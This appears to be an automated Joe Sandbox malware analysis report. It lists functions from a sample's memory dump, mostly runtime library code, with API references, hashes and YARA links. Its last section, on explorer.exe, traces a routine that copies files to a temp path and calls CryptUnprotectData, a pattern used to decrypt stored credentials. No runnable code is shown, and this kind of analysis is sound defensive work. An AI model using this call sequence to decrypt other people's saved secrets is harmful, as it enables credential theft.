Function 00315374 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 003153CB

Strings

3/, xrefs: 003153A2
pContext, xrefs: 003153C3

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: 3/$pContext
API String ID: 2141394445-1612168763
Opcode ID: 9a7dcf631b5d16fe9d16117dd1769951feb3502b39309ef987d8b5ee7d5a9380
Instruction ID: 6fc4cd055a1d84cf075de40e14ece15c4d387f272db408821c62661d26a4cf0a
Opcode Fuzzy Hash: 9a7dcf631b5d16fe9d16117dd1769951feb3502b39309ef987d8b5ee7d5a9380
Instruction Fuzzy Hash: F1F0F939600A04EBC70AEB54D891EDDF378AF58354B104135E51157291CBB0B945C690

Uniqueness

Uniqueness Score: -1.00%

Function 00314280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 003142AE

Part of subcall function 0030C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0030C9C1

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000003,00000004,00000000,?), ref: 003142CB

Strings

3/, xrefs: 00314299

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::Event$ObjectSingleThrowTraceWait
String ID: 3/
API String ID: 299550707-2584162468
Opcode ID: c9db117f674beaa295d59b8b23b4d70f6ce967991dd6b2f1bb176ba3cd91d4f8
Instruction ID: 690802a71b82ee8def305d3d89034ab16ed7fada244805ee74f47951aef28530
Opcode Fuzzy Hash: c9db117f674beaa295d59b8b23b4d70f6ce967991dd6b2f1bb176ba3cd91d4f8
Instruction Fuzzy Hash: 0FF0B435710210AFDB059B18CC45E6AB7ACEB49770F114155F55AE3391C670AC028A90

Uniqueness

Uniqueness Score: -1.00%

Function 00301F56 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37timeCOMMON

Download Yara Rule

APIs

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00301F73

Part of subcall function 00301FD1: CreateTimerQueue.KERNEL32(?,?,?,000000FF,00000000,00000020,?,?), ref: 00301FFF

Concurrency::details::platform::__DeleteTimerQueueTimer.LIBCONCRT ref: 00301F7C

Part of subcall function 0030363A: DeleteTimerQueueTimer.KERNEL32(?,?,?,?,?,00301F81,00000000,?,00000000), ref: 0030364A
Part of subcall function 0030363A: GetLastError.KERNEL32(?,00301F81,00000000,?,00000000), ref: 00303654

Strings

3/, xrefs: 00301F97

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Timer$Queue$Delete$Concurrency::details::Concurrency::details::platform::__CreateErrorLastShared
String ID: 3/
API String ID: 703113590-2584162468
Opcode ID: a2a23991d4ee1f2e8d2a8ba18a23cf2fc2d48e3918ec428cb96bf96f8ecda4a6
Instruction ID: 42610c71463f83bafab8065e6fc1e6fc50a325168fa5ae58a0f012fb07217db2
Opcode Fuzzy Hash: a2a23991d4ee1f2e8d2a8ba18a23cf2fc2d48e3918ec428cb96bf96f8ecda4a6
Instruction Fuzzy Hash: 4AF02432B012116BC701AB65DC98B2AF3ADFF44330F054125E505C7281CB64BC118BD0

Uniqueness

Uniqueness Score: -1.00%

Function 002FF188 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 002FF1F6: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,?,002FF2F3,?,?,002E2D02,00000000,00000014), ref: 002FF202

__Mtx_unlock.LIBCPMT ref: 002FF1C1
__Cnd_broadcast.LIBCPMT ref: 002FF1E3

Strings

|F3, xrefs: 002FF1D7

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Cnd_broadcastHandleModuleMtx_unlock
String ID: |F3
API String ID: 3792354476-3143221683
Opcode ID: 677b8c4aac9a7e17fc9d8644a8e0b1bcc1699be97c0caad04611b677d8e2104c
Instruction ID: de44d94c9e62683ae35e9033799f43aea2b76f0d1d0ed81650eed31e596829ba
Opcode Fuzzy Hash: 677b8c4aac9a7e17fc9d8644a8e0b1bcc1699be97c0caad04611b677d8e2104c
Instruction Fuzzy Hash: 46F0E239C51208D6CB16BBB58D277AF722C9F02324F600969F0006F3C3CAB4A51146A1

Uniqueness

Uniqueness Score: -1.00%

Function 0030EC0C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxyFactoryManager::GetFreeThreadProxyFactory.LIBCONCRT ref: 0030EC21
Concurrency::details::FreeThreadProxy::AssociateExecutionContext.LIBCONCRT ref: 0030EC4E

Strings

3/, xrefs: 0030EC3D

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Thread$Concurrency::details::FactoryFreeProxy$AssociateContextExecutionManager::Proxy::
String ID: 3/
API String ID: 2958197399-2584162468
Opcode ID: 713029fa91a6ae7998ade153884f5364e7046e156d10c7e8f5a3f29db27dd988
Instruction ID: 13e3fa75238d45f183f58debea0de899423b3def8001e98ff418d0842df1f545
Opcode Fuzzy Hash: 713029fa91a6ae7998ade153884f5364e7046e156d10c7e8f5a3f29db27dd988
Instruction Fuzzy Hash: CDF08271300A15AFCB05AF69D890959FBA9FF587647004139E60E87351CB71AC62CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00300544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,0030A054,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0030056C
CreateSemaphoreW.KERNEL32(?,0030A054,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0030058E

Strings

3/, xrefs: 00300566, 00300588

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: 3/
API String ID: 1078844751-2584162468
Opcode ID: c126dd61990aa6dbf1556757e212668abbfe2c2002599a1030f942768cd28464
Instruction ID: 4545d3f729c433aadf8a16a793bfcf66b5f024101a0fb620749b47b9830bb2d3
Opcode Fuzzy Hash: c126dd61990aa6dbf1556757e212668abbfe2c2002599a1030f942768cd28464
Instruction Fuzzy Hash: 37F0B23A505129ABCF175F90EC14A9E7F6AEB09B60F064015FE0966160C732AD71AF90

Uniqueness

Uniqueness Score: -1.00%

Function 0030BFF3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ContextBase::ReleaseWorkQueue.LIBCMT ref: 0030BFFF

Part of subcall function 0030C5C7: Concurrency::details::WorkQueue::LockedSetOwningContext.LIBCMT ref: 0030C5E2
Part of subcall function 0030C5C7: Concurrency::details::ScheduleGroupSegmentBase::DetachActiveWorkQueue.LIBCONCRT ref: 0030C5EB

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0030C024

Part of subcall function 0030C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0030C9C1

Strings

3/, xrefs: 0030C011

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Context$Concurrency::details::$Base::$Work$EventQueue$ActiveDetachGroupLockedOwningQueue::ReleaseScheduleSegmentThrowTrace
String ID: 3/
API String ID: 1802185470-2584162468
Opcode ID: bf212bebcc1a1547638e7d8e9db2cb19e3afc3cddcb2e24c2ca3668459281494
Instruction ID: ec3d76991d6dd8e7a09dc12c254b1c9ab776f61b273f45efe3d2805dd85366b9
Opcode Fuzzy Hash: bf212bebcc1a1547638e7d8e9db2cb19e3afc3cddcb2e24c2ca3668459281494
Instruction Fuzzy Hash: A1E0927A700214AFD6059B45C886D2EB7ACDB88764F00014AFA0297381CAB0BD018AA5

Uniqueness

Uniqueness Score: -1.00%

Function 00300502 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateEventExW.KERNEL32(?,003035CA,00000000,00000000,?,001F0002,00000000,?,?), ref: 00300524
CreateEventW.KERNEL32(?,00000000,00000000,00000000,00000000,?,003035CA,00000000,00000000,?,001F0002,00000000,?,?), ref: 0030053B

Strings

3/, xrefs: 0030051E

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CreateEvent
String ID: 3/
API String ID: 2692171526-2584162468
Opcode ID: bf1f6440e9ace196adb149f90599dff895c1046826ac58e7330d9c24591a65ca
Instruction ID: b49606275a9ea73b5dade5f09fab5ea37531823cbe57c76a8b02654b187d79e4
Opcode Fuzzy Hash: bf1f6440e9ace196adb149f90599dff895c1046826ac58e7330d9c24591a65ca
Instruction Fuzzy Hash: A0E06536511518BBCF0A0F40DC059EA3F2AFB09720F014015FD1A96220CB72AD60DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0031ED92 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0031DD93,-00000020,00000FA0,00000000,F139A196,?,00000000), ref: 0031EDD2

Strings

3/, xrefs: 0031EDC2
InitializeCriticalSectionEx, xrefs: 0031EDA2

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: 3/$InitializeCriticalSectionEx
API String ID: 2593887523-2216965583
Opcode ID: 3ebddd01160740341f7a0faf1eee0f195bf4ead716dee4bab2d3941088f852af
Instruction ID: 9393a7467fda62b973cf8cf419329cf5ace39f30ae4dfa74de7995f13650e20a
Opcode Fuzzy Hash: 3ebddd01160740341f7a0faf1eee0f195bf4ead716dee4bab2d3941088f852af
Instruction Fuzzy Hash: 9FE0ED35544218BBCB1B2B51DC45DEE7E19EB58BA1F014020FD191A161C67289A1E6D0

Uniqueness

Uniqueness Score: -1.00%

Function 0030FC44 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,?,0030FB46,?), ref: 0030FC4D
SetLastError.KERNEL32(0000007F,?,?,0030FB46,?), ref: 0030FC71

Strings

3/, xrefs: 0030FC65

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: EncodeErrorLastPointer
String ID: 3/
API String ID: 688273888-2584162468
Opcode ID: 893a405b252c133bbe0187052da1a58192efeb0b8e85bc29a7c275ed188c8ab7
Instruction ID: be7ffe915132ac1f1a67b6d308191f0ee8525a3d2e9ba1408b3b7637ddafc298
Opcode Fuzzy Hash: 893a405b252c133bbe0187052da1a58192efeb0b8e85bc29a7c275ed188c8ab7
Instruction Fuzzy Hash: 4CE026329052285FE602A7B4BC0A66A7F8CEB04371F004235F955D70D1DB606C0286A0

Uniqueness

Uniqueness Score: -1.00%

Function 0031EC93 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0031ECC7

Strings

FlsAlloc, xrefs: 0031ECA3
3/, xrefs: 0031ECBD

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: 3/$FlsAlloc
API String ID: 2773662609-837390895
Opcode ID: 1b58bf72ecf6cbe86e6f356e14b1440fdf0e6b8b2ac99d69f26d4a471e7234ad
Instruction ID: 0efc025d67ec96efba275e8b8c4d67060623211b3b56797eff737dab76ef923b
Opcode Fuzzy Hash: 1b58bf72ecf6cbe86e6f356e14b1440fdf0e6b8b2ac99d69f26d4a471e7234ad
Instruction Fuzzy Hash: 30E02B3168473473C72733509C86EEE7E0CDB48F70F050010FD0A17241DAAA589183D1

Uniqueness

Uniqueness Score: -1.00%

Function 00306F3C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00306F6C

Strings

pScheduler, xrefs: 00306F64
version, xrefs: 00306F51

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: b31a2b449b0b6b6c15dd98937c8c7f369ec966f2d58ea39b7e64a61046a216f1
Instruction ID: 2eb6c7b1dda3a6f0dbc341bf342d61fc143e1b14e249ee257b423f44b70ab32c
Opcode Fuzzy Hash: b31a2b449b0b6b6c15dd98937c8c7f369ec966f2d58ea39b7e64a61046a216f1
Instruction Fuzzy Hash: E5E0863494430DB6CB17FB54D86BADC7364DB11384F108025B6112A0D4D7F496E8CA91

Uniqueness

Uniqueness Score: -1.00%

Function 00300745 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32(?,002FFE27,00000007,00000FA0,00000000,00000003,0030010B,00000007,?,?,002E2EF3,?,00000002,?), ref: 00300764
InitializeCriticalSectionAndSpinCount.KERNEL32(00000003,?,00000003,?,002FFE27,00000007,00000FA0,00000000,00000003,0030010B,00000007,?,?,002E2EF3,?,00000002), ref: 0030076E

Strings

3/, xrefs: 0030075E

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CountSpin
String ID: 3/
API String ID: 4156364057-2584162468
Opcode ID: fbd77afee7314865fba8fa9dbd3c357def6f84c08a7ba35bb5892fbc548b509a
Instruction ID: e59bbba69ca7fce0c96c08833445daba1001a25e61565efb54cb019630c09441
Opcode Fuzzy Hash: fbd77afee7314865fba8fa9dbd3c357def6f84c08a7ba35bb5892fbc548b509a
Instruction Fuzzy Hash: EBE0EC36545228BBCF072F60DC4499E7F6DEF09B61F424121F95A9A130CB36A961EFC0

Uniqueness

Uniqueness Score: -1.00%

Function 003005BF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateThreadpoolWait.KERNEL32(?,0031446D,?), ref: 003005DE

Strings

3/, xrefs: 003005D8
mD1, xrefs: 003005BF

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CreateThreadpoolWait
String ID: 3/$mD1
API String ID: 540757568-841593442
Opcode ID: 2b118daf49563a1fee2b4342e33d1a7cda019febade057900ac04922083763e2
Instruction ID: 77b31effcbae68dd62a0fbe4c67347a4529385db3b04ce2dc660cb068868333d
Opcode Fuzzy Hash: 2b118daf49563a1fee2b4342e33d1a7cda019febade057900ac04922083763e2
Instruction Fuzzy Hash: 13D05E35505228ABCF0B1FA1DC0069E7F1DFB05B60F014022F80956220C631AC209FC0

Uniqueness

Uniqueness Score: -1.00%

Function 003007D5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

TpSetWait.NTDLL ref: 003007F4

Strings

3/, xrefs: 003007EE
mD1, xrefs: 003007D5

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Wait
String ID: 3/$mD1
API String ID: 3722194139-841593442
Opcode ID: caa57662f7e0a7477fffa2665d0cd002f0166d74b705cee4c9fb12991c44a35a
Instruction ID: 5788041b5b7f7ee6e34b7947751891967ac7305314ee4d7624d7259965f2bbea
Opcode Fuzzy Hash: caa57662f7e0a7477fffa2665d0cd002f0166d74b705cee4c9fb12991c44a35a
Instruction Fuzzy Hash: 8CD0C936A11228ABCF161F85EC0499B7F2DEB05BA1F014022FE195B220CB32AC209BD0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exePID: 4364, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	50%
Signature Coverage:	8.3%
Total number of Nodes:	804
Total number of Limit Nodes:	78

Executed Functions

Function 00BF3717 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 401
stringfileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00BF2893,00000000,00000000,00000000,?), ref: 00BF1B82
Part of subcall function 00BF1B6A: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00BF1B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 00BF3778
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00BF3782
DeleteFileW.KERNELBASE(00000000), ref: 00BF3789
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 00BF3794
RtlCompareMemory.NTDLL(00000000,?,00000003), ref: 00BF383B
RtlZeroMemory.NTDLL(?,00000040), ref: 00BF3870
lstrlen.KERNEL32(?,?,?,?,?), ref: 00BF398B
lstrlen.KERNEL32(00000000), ref: 00BF399A
wsprintfA.USER32 ref: 00BF39F1
lstrlen.KERNEL32(00000000,?,?), ref: 00BF39FD
lstrcat.KERNEL32(00000000,?), ref: 00BF3A21
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00BF3A49
lstrlen.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00BF3B13
lstrlen.KERNEL32(00000000), ref: 00BF3B22
wsprintfA.USER32 ref: 00BF3B79
lstrlen.KERNEL32(00000000), ref: 00BF3B85
